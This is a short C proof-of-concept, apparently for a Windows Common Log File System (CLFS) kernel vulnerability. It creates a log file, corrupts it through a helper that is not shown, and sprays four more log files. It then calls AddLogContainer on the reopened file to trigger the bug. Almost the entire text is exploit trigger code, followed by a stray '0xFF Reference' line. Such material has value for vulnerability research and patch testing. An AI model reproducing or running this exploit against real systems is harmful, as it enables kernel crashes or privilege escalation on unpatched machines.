void Poc() { HANDLE sprayLogFile[0x20] = { 0 }; HANDLE vulnLogFile = CreateLogFile((LPCWSTR)CURR_FOLDER"Mylog", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL); CloseHandle(vulnLogFile); PocFileOperation(); vulnLogFile = CreateLogFile((LPCWSTR)CURR_FOLDER"Mylog", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL); if (vulnLogFile == NULL) ErrorQuit("File format wrong");
for (int i = 0; i < 0x4; i++) { WCHAR data[0x200] = { 0 }; wsprintf(data, (LPCWSTR)CURR_FOLDER"Mylog%d", i); sprayLogFile[i] = CreateLogFile(data, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL); }
ULONGLONG pcbContainer = 0x200; if (!AddLogContainer(vulnLogFile, &pcbContainer, (LPWSTR)CURR_FOLDER"Container", 0)) { perror("Failed to add container."); exit(1); } getchar();
for (int i = 0; i < 0x4; i++) { CloseHandle(sprayLogFile[i]); } }
int main() { Poc(); return 0; }
|
0xFF Reference